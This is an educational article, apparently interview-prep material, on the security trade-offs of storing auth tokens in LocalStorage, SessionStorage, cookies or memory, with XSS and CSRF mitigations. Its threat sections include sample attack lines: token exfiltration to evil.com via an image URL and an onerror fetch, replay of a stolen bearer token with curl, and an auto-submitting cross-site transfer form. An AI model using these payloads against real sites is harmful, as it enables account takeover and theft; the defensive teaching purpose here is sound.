Auth Token Storage Trade-offs
Where you store an auth token determines how secure your app is. Understand the trade-offs between LocalStorage, SessionStorage, cookies, and in-memory storage — and why the wrong choice can expose every user's account to attackers.
Table of Contents
Overview
Auth tokens (JWTs, session tokens, access tokens) prove that a user is logged in. After authentication, the token is stored on the client and sent with every API request. Where you store that token is one of the most important security decisions in frontend architecture.
Each storage option — LocalStorage, SessionStorage, cookies, in-memory — has different trade-offs around XSS vulnerability, CSRF risk, persistence, and developer convenience. There is no perfect option. The right choice depends on your threat model, app architecture, and how much complexity you're willing to manage.
This topic is a staple in frontend interviews. "Where would you store a JWT?" tests whether you understand browser security fundamentals — XSS, CSRF, cookie flags, and the principle of least privilege. A strong answer explains the trade-offs, not just the recommendation.
Why this matters
A stolen auth token gives an attacker full access to the user's account. The storage mechanism is the first line of defense. Get it wrong and a single XSS vulnerability compromises every logged-in user.
The Problem: Storing Auth Tokens
After a user logs in, the server issues a token. The client must store this token and include it in subsequent API requests to prove identity. The challenge: the browser has no "secure vault" for sensitive data. Every storage mechanism has attack vectors.
User logs in: POST /api/login { email, password } → Server validates credentials → Server issues token: { accessToken: "eyJhbG...", expiresIn: 900 } Client must: 1. STORE the token somewhere on the client 2. SEND it with every API request (Authorization header or cookie) 3. PROTECT it from being stolen by malicious scripts The question: WHERE do you store it? ┌─────────────────┐ ┌─────────────────┐ │ LocalStorage │ │ SessionStorage │ │ ✅ Persistent │ │ ✅ Tab-scoped │ │ ❌ XSS readable │ │ ❌ XSS readable│ └─────────────────┘ └─────────────────┘ ┌─────────────────┐ ┌──────────────────┐ │ HttpOnly Cookie │ │ In-Memory │ │ ✅ XSS-safe │ │ ✅ XSS-safe │ │ ❌ CSRF risk │ │❌ Lost on refresh │ └─────────────────┘ └──────────────────┘ Every option has a weakness. The goal is to pick the option whose weakness is easiest to mitigate.
XSS Risk
If any JavaScript on the page can read the token, a single XSS vulnerability lets an attacker steal it. LocalStorage and SessionStorage are fully readable by JS.
CSRF Risk
If the token is sent automatically with requests (cookies), an attacker can trick the user's browser into making authenticated requests from a malicious site.
Persistence vs Security
Persistent storage (LocalStorage, cookies) is convenient but increases the attack window. Ephemeral storage (memory) is safer but forces re-login on refresh.
The core tension
Security and convenience pull in opposite directions. The most secure option (in-memory) has the worst UX (re-login on every refresh). The most convenient option (LocalStorage) has the worst security (XSS-readable). Every real-world solution is a compromise between these extremes.
Storage Options Overview
Before diving deep into each option, here's the landscape. Each storage mechanism has a fundamentally different security profile.
| Storage | XSS Safe? | CSRF Safe? | Persistent? | Auto-sent? |
|---|---|---|---|---|
| LocalStorage | No | Yes | Yes | No (manual header) |
| SessionStorage | No | Yes | Tab only | No (manual header) |
| HttpOnly Cookie | Yes | No (needs mitigation) | Yes | Yes (automatic) |
| JS Cookie | No | No | Yes | Yes (automatic) |
| In-Memory | Yes* | Yes | No (lost on refresh) | No (manual header) |
No perfect option
Notice that no row is all green. Every option has at least one weakness. The art is choosing the option whose weakness you can best mitigate in your specific application.
LocalStorage
LocalStorage is the most common (and most debated) place developers store tokens. It's simple, persistent, and works across tabs — but it's fully accessible to any JavaScript on the page.
// After login localStorage.setItem("accessToken", "eyJhbGciOiJIUzI1NiJ9..."); // On every API request fetch("/api/data", { headers: { Authorization: `Bearer ${localStorage.getItem("accessToken")}`, }, }); // On logout localStorage.removeItem("accessToken");
| Pros | Cons |
|---|---|
| Simple API — 2 lines to store and retrieve | Any JS on the page can read it (XSS vulnerable) |
| Persistent — survives tab close, browser restart | Third-party scripts (analytics, ads) can access it |
| Shared across tabs — login once, all tabs authenticated | No expiration — token stays until manually removed |
| Not sent automatically — immune to CSRF | Must manually add Authorization header to every request |
| Large capacity (~5-10MB) | Visible in DevTools — easy to inspect/copy |
// If an attacker injects this script via XSS: const token = localStorage.getItem("accessToken"); // They can exfiltrate the token to their server: new Image().src = "https://evil.com/steal?token=" + token; // Now the attacker has the user's token and can: // - Access the user's account from anywhere // - Make API calls as the user // - The token works until it expires (could be hours/days) // This is the fundamental problem with LocalStorage for tokens. // There is NO way to prevent JavaScript from reading LocalStorage.
When LocalStorage is acceptable
If your app has strong XSS protections (strict CSP, no inline scripts, no third-party JS, thorough input sanitization) and the token is short-lived (15 minutes), LocalStorage can be a pragmatic choice. Many production SPAs use it. But understand the risk — one XSS vulnerability compromises all users.
SessionStorage
SessionStorage is similar to LocalStorage but scoped to a single tab and cleared when the tab closes. This limits the attack window slightly but doesn't solve the core XSS problem.
// After login sessionStorage.setItem("accessToken", "eyJhbGciOiJIUzI1NiJ9..."); // On API request fetch("/api/data", { headers: { Authorization: `Bearer ${sessionStorage.getItem("accessToken")}`, }, }); // Behavior: // ✅ Cleared when tab closes (limits exposure window) // ❌ User must re-login in every new tab // ❌ Still readable by any JS on the page (XSS vulnerable) // ❌ Not shared across tabs (poor multi-tab UX)
| Pros | Cons |
|---|---|
| Cleared on tab close — shorter attack window | Still XSS vulnerable while tab is open |
| Tab-isolated — compromise in one tab doesn't affect others | User must re-login in every new tab (bad UX) |
| Not sent automatically — CSRF immune | Not shared across tabs |
| Same simple API as LocalStorage | Lost on tab close — user loses session unexpectedly |
Marginal improvement over LocalStorage
SessionStorage is slightly better than LocalStorage because the token is cleared on tab close (shorter exposure). But while the tab is open, XSS can still steal the token. The UX trade-off (re-login per tab) is significant. Most teams choose LocalStorage or HttpOnly cookies instead.
Cookies
Cookies are the oldest and most feature-rich storage mechanism for auth tokens. The critical distinction is between JS-accessible cookies and HttpOnly cookies — they have completely different security profiles.
HttpOnly Cookies (Recommended for Auth)
── Login Response ───────────────────────────────── HTTP/2 200 OK Set-Cookie: token=eyJhbGciOiJIUzI1NiJ9...; HttpOnly; ← JavaScript CANNOT read this Secure; ← Only sent over HTTPS SameSite=Strict; ← Not sent on cross-site requests Path=/; ← Sent for all paths Max-Age=900 ← Expires in 15 minutes ── Subsequent API Request ───────────────────────── GET /api/data HTTP/2 Cookie: token=eyJhbGciOiJIUzI1NiJ9... ↑ Browser sends cookie AUTOMATICALLY — no JS needed ── XSS Attack Attempt ───────────────────────────── document.cookie → "" (HttpOnly cookies are invisible!) // Attacker cannot read, copy, or exfiltrate the token. // The token exists only in the browser's cookie jar, // inaccessible to any JavaScript.
| HttpOnly Cookie | JS-Accessible Cookie | |
|---|---|---|
| JS readable? | No — invisible to document.cookie | Yes — readable via document.cookie |
| XSS safe? | Yes — can't be stolen by scripts | No — same risk as LocalStorage |
| CSRF risk? | Yes — sent automatically (mitigate with SameSite) | Yes — sent automatically |
| Sent with requests? | Yes — automatic, no JS needed | Yes — automatic |
| Set by | Server only (Set-Cookie header) | Server or client JS |
Cookie Security Flags
| Flag | What It Does | Why It Matters |
|---|---|---|
HttpOnly | Cookie is invisible to JavaScript | Prevents XSS from reading the token |
Secure | Cookie only sent over HTTPS | Prevents token leaking over unencrypted connections |
SameSite=Strict | Cookie never sent on cross-site requests | Prevents CSRF — cookie only sent from your own site |
SameSite=Lax | Cookie sent on top-level navigations but not on cross-site subrequests | Allows links from external sites to work while blocking CSRF on API calls |
Max-Age / Expires | Sets cookie expiration | Short-lived tokens limit damage if somehow compromised |
The recommended combination
HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900 — this gives you XSS protection (HttpOnly), transport security (Secure), CSRF protection (SameSite=Strict), and a short expiration (15 min). It's the strongest cookie configuration for auth tokens.
In-Memory Storage
Storing the token in a JavaScript variable (React state, module-level variable, closure) means it only exists in memory — never written to disk, never accessible from storage APIs.
// Module-level variable — not in any storage API let accessToken = null; export function setToken(token) { accessToken = token; } export function getToken() { return accessToken; } // On API request fetch("/api/data", { headers: { Authorization: `Bearer ${getToken()}`, }, }); // Behavior: // ✅ Not in LocalStorage, SessionStorage, or cookies // ✅ XSS can't read it from storage APIs // ❌ Lost on page refresh — user must re-authenticate // ❌ Lost on tab close // ❌ Not shared across tabs
| Pros | Cons |
|---|---|
| Not readable from storage APIs — harder for XSS to find | Lost on every page refresh (terrible UX alone) |
| Never written to disk — no persistence risk | Must pair with refresh token (cookie) for usability |
| No CSRF risk — not sent automatically | More complex architecture (two-token system) |
| Shortest possible exposure window | XSS can still intercept in-flight requests or monkey-patch fetch |
Not truly XSS-proof
In-memory storage is harder for XSS to exploit, but not impossible. A sophisticated XSS attack can monkey-patch fetch or XMLHttpRequest to intercept the Authorization header on outgoing requests. The real defense against XSS is preventing it entirely (CSP, sanitization), not just hiding the token.
Security Threats
Two attack vectors dominate the auth token discussion: XSS and CSRF. Every storage decision is ultimately about which of these threats you're more willing to defend against.
XSS (Cross-Site Scripting)
How XSS steals tokens from Web Storage: 1. Attacker finds XSS vulnerability (unsanitized user input, vulnerable dependency, inline script) 2. Attacker injects malicious JavaScript: <img src="x" onerror=" fetch('https://evil.com/steal', { method: 'POST', body: localStorage.getItem('accessToken') }) "> 3. Victim visits the page → script executes → token is sent to attacker 4. Attacker uses the stolen token from their own machine: curl -H "Authorization: Bearer eyJhbG..." https://api.example.com/account 5. Attacker has full access to the victim's account. What's vulnerable: ❌ LocalStorage → token readable via localStorage.getItem() ❌ SessionStorage → token readable via sessionStorage.getItem() ❌ JS Cookie → token readable via document.cookie ✅ HttpOnly Cookie → NOT readable by JavaScript ✅ In-Memory → NOT in any storage API (harder to find)
CSRF (Cross-Site Request Forgery)
How CSRF exploits cookies: 1. User is logged in to bank.com (auth cookie is set) 2. User visits evil.com (attacker's site) 3. evil.com contains a hidden form: <form action="https://bank.com/transfer" method="POST"> <input name="to" value="attacker" /> <input name="amount" value="10000" /> </form> <script>document.forms[0].submit()</script> 4. Browser sends the form POST to bank.com AND automatically includes the auth cookie (because cookies are sent with ALL requests to their origin) 5. bank.com sees a valid cookie → processes the transfer The user never intended this request. What's vulnerable: ❌ Any cookie (sent automatically with requests) ✅ LocalStorage → NOT sent automatically ✅ SessionStorage → NOT sent automatically ✅ In-Memory → NOT sent automatically CSRF mitigations for cookies: • SameSite=Strict (cookie not sent on cross-site requests) • CSRF tokens (server validates a unique token per request) • Check Origin/Referer headers on the server
| Threat | Targets | Steals Token? | Mitigation |
|---|---|---|---|
| XSS | LocalStorage, SessionStorage, JS cookies | Yes — reads and exfiltrates the token | HttpOnly cookies, CSP, input sanitization |
| CSRF | All cookies (including HttpOnly) | No — uses the token in-place without reading it | SameSite=Strict, CSRF tokens, Origin header check |
The key distinction
XSS steals the token — the attacker gets a copy and can use it from anywhere. CSRF uses the token in-place — the attacker tricks the browser into sending an authenticated request, but never sees the token itself. This is why HttpOnly cookies are preferred: even if CSRF is possible, it's easier to mitigate (SameSite) than XSS token theft.
Trade-offs Comparison
This is the table interviewers want you to know. It summarizes every storage option across the dimensions that matter.
| LocalStorage | SessionStorage | HttpOnly Cookie | In-Memory | |
|---|---|---|---|---|
| XSS safe? | No | No | Yes | Mostly* |
| CSRF safe? | Yes | Yes | Needs SameSite | Yes |
| Persists refresh? | Yes | Yes | Yes | No |
| Persists tab close? | Yes | No | Yes (if not session cookie) | No |
| Cross-tab? | Yes | No | Yes | No |
| Auto-sent? | No (manual header) | No (manual header) | Yes (automatic) | No (manual header) |
| Complexity | Low | Low | Medium (server setup) | High (needs refresh token) |
| Best for | Low-risk SPAs with strong CSP | Rarely recommended | Most production apps | High-security apps (banking) |
Is the token sensitive (grants account access)? │ ├─ YES (auth token, JWT) │ │ │ ├─ Can you set cookies from the server? │ │ │ │ │ ├─ YES → HttpOnly Cookie + Secure + SameSite=Strict │ │ │ (Best balance of security and UX) │ │ │ │ │ └─ NO (third-party API, no server control) │ │ │ │ │ ├─ High security needed? → In-Memory + refresh token in HttpOnly cookie │ │ │ │ │ └─ Acceptable risk? → LocalStorage + short expiry + strong CSP │ │ │ └─ Is it a refresh token? │ └─ ALWAYS HttpOnly Cookie (long-lived, high value) │ └─ NO (non-sensitive, e.g., feature flags) └─ LocalStorage is fine
The industry consensus
Most security experts recommend HttpOnly cookies for auth tokens. The CSRF risk is well-understood and easily mitigated with SameSite + CSRF tokens. The XSS risk of Web Storage is harder to fully eliminate because any third-party script or dependency vulnerability can exploit it.
Best Practices
These are the practices that security-conscious teams follow in production. They represent the current industry consensus.
Use HttpOnly cookies for auth tokens
Set tokens via Set-Cookie with HttpOnly, Secure, and SameSite=Strict flags. This makes the token invisible to JavaScript, preventing XSS theft. The browser sends it automatically with requests.
Keep access tokens short-lived
Access tokens should expire in 5-15 minutes. Even if compromised, the damage window is small. Use refresh tokens (stored in HttpOnly cookies) to get new access tokens silently.
Implement token rotation
Each time a refresh token is used, issue a new one and invalidate the old one. If an attacker steals a refresh token and the legitimate user also uses it, the server detects the reuse and revokes all tokens.
Prevent XSS at the source
No storage mechanism is safe if XSS exists. Use Content Security Policy (CSP) headers, sanitize all user input, avoid innerHTML/dangerouslySetInnerHTML, and audit third-party dependencies.
Add CSRF protection for cookie-based auth
Use SameSite=Strict (or Lax) on cookies. For extra protection, implement a CSRF token pattern: server generates a unique token per session, client sends it in a custom header, server validates it.
Set-Cookie: access_token=eyJhbG...; HttpOnly; ← JS can't read it Secure; ← HTTPS only SameSite=Strict; ← No cross-site requests Path=/api; ← Only sent to API routes Max-Age=900; ← 15 minute expiry Set-Cookie: refresh_token=dGhpcyBp...; HttpOnly; Secure; SameSite=Strict; Path=/api/auth/refresh; ← Only sent to refresh endpoint Max-Age=604800; ← 7 day expiry
Defense in depth
Don't rely on a single defense. Use HttpOnly cookies AND short token lifetimes AND CSP headers AND input sanitization AND CSRF tokens. Each layer catches what the others miss. Security is about making attacks harder at every step, not finding one perfect solution.
Real-World Architectures
Production applications typically use a two-token architecture that balances security with user experience. Here are the most common patterns.
Pattern 1: Access Token (Memory) + Refresh Token (HttpOnly Cookie)
── Login ────────────────────────────────────────── POST /api/auth/login { email, password } Response: Body: { accessToken: "eyJhbG...", expiresIn: 900 } Set-Cookie: refresh_token=dGhpcyBp...; HttpOnly; Secure; SameSite=Strict Client stores: accessToken → JavaScript variable (in-memory) refreshToken → HttpOnly cookie (browser manages it) ── API Request ──────────────────────────────────── GET /api/data Authorization: Bearer eyJhbG... ← access token from memory Cookie: (refresh_token is NOT sent — Path=/api/auth/refresh) ── Access Token Expires (15 min) ────────────────── GET /api/data → 401 Unauthorized Client automatically calls: POST /api/auth/refresh Cookie: refresh_token=dGhpcyBp... ← sent automatically Response: Body: { accessToken: "new_eyJhbG...", expiresIn: 900 } Set-Cookie: refresh_token=new_dGhpcyBp...; HttpOnly; ... (old refresh token is invalidated — rotation) Client stores new access token in memory. User never notices — silent refresh. ── Page Refresh ─────────────────────────────────── Access token in memory is lost. Client calls /api/auth/refresh (cookie is still there). Gets a new access token. User stays logged in.
Pattern 2: Both Tokens in HttpOnly Cookies
── Login ────────────────────────────────────────── POST /api/auth/login { email, password } Response: Set-Cookie: access_token=eyJhbG...; HttpOnly; Secure; SameSite=Strict; Path=/api; Max-Age=900 Set-Cookie: refresh_token=dGhpcyBp...; HttpOnly; Secure; SameSite=Strict; Path=/api/auth/refresh; Max-Age=604800 Client stores: nothing! Browser manages both cookies. ── API Request ──────────────────────────────────── GET /api/data Cookie: access_token=eyJhbG... ← sent automatically No Authorization header needed. No JS touches the token. ── Pros ─────────────────────────────────────────── • Simplest client code — no token management in JS • Both tokens are HttpOnly — XSS can't read either • Works without JavaScript (SSR, progressive enhancement) ── Cons ─────────────────────────────────────────── • CSRF risk — must use SameSite + CSRF token • Cookie sent with every request (even non-API requests) → Use Path=/api to limit this • Harder with cross-origin APIs (CORS + credentials)
| Memory + Cookie | Cookie-Only | |
|---|---|---|
| Access token location | JS variable (memory) | HttpOnly cookie |
| Refresh token location | HttpOnly cookie | HttpOnly cookie |
| XSS risk | Low (access token harder to steal) | Low (both HttpOnly) |
| CSRF risk | Low (access token not in cookie) | Medium (needs SameSite + CSRF token) |
| Client complexity | Medium (token management, silent refresh) | Low (browser handles cookies) |
| Server complexity | Medium (two token types) | Medium (CSRF protection) |
| Cross-origin APIs | Easy (Authorization header) | Harder (CORS credentials) |
Most SPAs use Pattern 1
The memory + cookie pattern is the most common in modern SPAs (React, Vue, Angular). The access token in memory avoids CSRF entirely, and the refresh token in an HttpOnly cookie provides persistence. The silent refresh on page load keeps the user logged in without exposing tokens to JavaScript.
Common Mistakes
These are the mistakes that show up repeatedly in code reviews, security audits, and interview answers. Avoid them.
Storing JWTs in LocalStorage without XSS protection
Putting auth tokens in LocalStorage with no CSP headers, no input sanitization, and third-party scripts loaded. One XSS vulnerability compromises every user.
✅Use HttpOnly cookies for auth tokens. If you must use LocalStorage, enforce strict CSP, sanitize all inputs, and keep tokens short-lived (5-15 min).
Using cookies without SameSite or CSRF tokens
Setting auth cookies without SameSite flag or CSRF protection. Any malicious site can trigger authenticated requests on behalf of the user.
✅Always set SameSite=Strict (or Lax). For extra protection, implement CSRF tokens — server generates a unique token, client sends it in a custom header.
Long-lived access tokens
Setting access tokens to expire in days or weeks. If stolen, the attacker has prolonged access to the user's account.
✅Keep access tokens short-lived (5-15 minutes). Use refresh tokens (in HttpOnly cookies) to silently obtain new access tokens. Implement refresh token rotation.
Storing refresh tokens in LocalStorage
Refresh tokens are long-lived and high-value — they can generate new access tokens. Storing them in LocalStorage means XSS can steal persistent account access.
✅Always store refresh tokens in HttpOnly cookies with Secure and SameSite flags. They should never be accessible to JavaScript.
Not implementing token rotation
Reusing the same refresh token indefinitely. If stolen, the attacker has permanent access with no way to detect the theft.
✅Rotate refresh tokens on every use — issue a new one and invalidate the old one. If both attacker and user try to use the same token, detect the reuse and revoke all tokens.
Missing Secure flag on cookies
Setting auth cookies without the Secure flag. The cookie can be sent over unencrypted HTTP connections, allowing network attackers to intercept it.
✅Always set the Secure flag on auth cookies. This ensures the cookie is only sent over HTTPS. Also enforce HTTPS across your entire application.
Interview Questions
These questions test whether you understand the security trade-offs, not just the API. Strong answers explain why, not just what.
Q:Where would you store a JWT in a frontend application?
A: The recommended approach is an HttpOnly cookie with Secure and SameSite=Strict flags. This prevents XSS from reading the token (HttpOnly), ensures HTTPS-only transport (Secure), and mitigates CSRF (SameSite). For SPAs that need the token in JS, store the short-lived access token in memory and the refresh token in an HttpOnly cookie.
Q:What is the difference between XSS and CSRF in the context of auth tokens?
A: XSS steals the token — malicious JavaScript reads it from storage and sends it to the attacker, who can use it from anywhere. CSRF uses the token in-place — the attacker tricks the browser into sending an authenticated request (via cookies), but never sees the token. XSS targets Web Storage and JS-accessible cookies. CSRF targets all cookies. HttpOnly cookies prevent XSS theft; SameSite prevents CSRF.
Q:Why is LocalStorage considered insecure for auth tokens?
A: LocalStorage is fully accessible to any JavaScript running on the page. If an attacker exploits an XSS vulnerability (unsanitized input, vulnerable dependency, injected script), they can read the token with localStorage.getItem() and exfiltrate it. Unlike HttpOnly cookies, there is no browser mechanism to prevent JS from reading LocalStorage.
Q:What is the purpose of a refresh token, and where should it be stored?
A: A refresh token is a long-lived token used to obtain new short-lived access tokens without requiring the user to re-login. It should always be stored in an HttpOnly cookie because it's high-value (grants persistent access) and long-lived (days/weeks). The access token can be in memory (short-lived, lower risk). When the access token expires, the client silently calls the refresh endpoint.
Q:Explain the SameSite cookie attribute and its values.
A: SameSite controls whether cookies are sent with cross-site requests. Strict: cookie is never sent on cross-site requests (strongest CSRF protection, but breaks external links). Lax: cookie is sent on top-level navigations (clicking a link) but not on cross-site subrequests (forms, fetch). None: cookie is always sent (requires Secure flag). For auth tokens, Strict is recommended.
Q:How does the two-token pattern (access + refresh) improve security?
A: The access token is short-lived (5-15 min) and stored in memory — if XSS steals it, the window is small. The refresh token is long-lived but stored in an HttpOnly cookie — XSS can't read it. On page refresh, the access token is lost but the client silently calls the refresh endpoint (cookie sent automatically) to get a new one. This gives both security (HttpOnly for the high-value token) and UX (user stays logged in).
Q:What is token rotation and why does it matter?
A: Token rotation means issuing a new refresh token every time the current one is used, and invalidating the old one. If an attacker steals a refresh token and both the attacker and legitimate user try to use it, the server detects the reuse (the old token was already consumed) and revokes all tokens for that user, forcing re-authentication. Without rotation, a stolen refresh token gives permanent access.
Q:Can in-memory storage be compromised by XSS?
A: Yes, but it's harder. XSS can't read tokens from storage APIs (localStorage, document.cookie). However, a sophisticated XSS attack can monkey-patch fetch or XMLHttpRequest to intercept the Authorization header on outgoing requests. It can also access module-scoped variables if it can execute in the same context. In-memory is more secure than Web Storage, but the real defense is preventing XSS entirely.
Practice Section
These scenarios test your ability to apply token storage knowledge to real-world situations — exactly what interviewers are looking for.
A security audit reveals that your SPA stores JWTs in LocalStorage. The app loads Google Analytics, a chat widget, and an error tracking script. The auditor flags this as critical.
Why is this critical, and how would you fix it?
Answer: Every third-party script has full access to LocalStorage. If any of those scripts (or their dependencies) are compromised, the attacker can read every user's JWT. Fix: migrate to HttpOnly cookies for the auth token. Set Secure, SameSite=Strict, and short Max-Age. If you can't change the backend, at minimum enforce strict CSP to limit which scripts can execute.
Users report being logged out every time they refresh the page. The app stores the access token in a React state variable (in-memory). There is no refresh token mechanism.
What is the root cause and how would you solve it?
Answer: In-memory tokens are lost on page refresh — React state is cleared. Solution: implement a refresh token stored in an HttpOnly cookie. On page load, the app calls a /refresh endpoint. The browser sends the refresh cookie automatically, and the server returns a new access token. The app stores the new access token in memory. The user stays logged in across refreshes without exposing tokens to JS.
Your app uses HttpOnly cookies for auth. A penetration tester demonstrates that a malicious site can make authenticated API calls on behalf of logged-in users by embedding a hidden form.
What attack is this, and how do you prevent it?
Answer: This is a CSRF attack. The browser sends cookies automatically with all requests to the cookie's origin, including cross-site form submissions. Fix: set SameSite=Strict on the cookie (blocks cross-site requests entirely). For additional defense, implement a CSRF token pattern — the server generates a unique token per session, the client sends it in a custom header (X-CSRF-Token), and the server validates it. Attackers can't set custom headers from cross-site forms.
A banking application needs the highest possible security for auth tokens. Users accept re-authenticating more frequently. The team is debating between HttpOnly cookies and in-memory storage.
What architecture would you recommend?
Answer: Use the two-token pattern with maximum security settings. Access token: in-memory only, 5-minute expiry. Refresh token: HttpOnly cookie with Secure, SameSite=Strict, Path=/api/auth/refresh, 1-hour expiry. Implement refresh token rotation (new token on every use, detect reuse). Add CSP headers, CSRF tokens, and rate limiting on the refresh endpoint. For banking, also consider: re-authentication for sensitive operations, device fingerprinting, and anomaly detection.
Your team is building a public-facing SPA that consumes a third-party API. You don't control the API server, so you can't set HttpOnly cookies from the API. The API uses Bearer token authentication.
How would you securely store the API token?
Answer: Use a Backend-for-Frontend (BFF) pattern. Your own backend server authenticates with the third-party API and stores the API token server-side. The client authenticates with your BFF using HttpOnly cookies. The BFF proxies API requests, attaching the third-party token server-side. The client never sees or stores the third-party API token. If a BFF isn't possible, store the token in memory with a short expiry and implement a server-side token exchange endpoint.
Cheat Sheet
Quick-reference summary for interviews and code reviews.
Quick Revision Cheat Sheet
Best storage for auth tokens: HttpOnly cookie with Secure + SameSite=Strict
LocalStorage risk: Any JS on the page can read it — XSS steals the token
SessionStorage vs LocalStorage: Tab-scoped (cleared on close) but still XSS-vulnerable
HttpOnly flag: Makes cookie invisible to JavaScript (document.cookie returns empty)
Secure flag: Cookie only sent over HTTPS — prevents network interception
SameSite=Strict: Cookie never sent on cross-site requests — prevents CSRF
SameSite=Lax: Cookie sent on top-level navigations but not subrequests
XSS attack: Steals token from storage — attacker gets a copy to use anywhere
CSRF attack: Uses token in-place via cookies — attacker never sees the token
Access token lifetime: 5-15 minutes (short-lived, limits damage window)
Refresh token storage: Always HttpOnly cookie — never in LocalStorage or JS
Token rotation: Issue new refresh token on each use, invalidate the old one
In-memory storage: Safest from XSS but lost on refresh — pair with refresh token cookie
Two-token pattern: Access token in memory + refresh token in HttpOnly cookie
BFF pattern: Backend proxy holds API tokens — client never sees them
Defense in depth: HttpOnly + short expiry + CSP + sanitization + CSRF tokens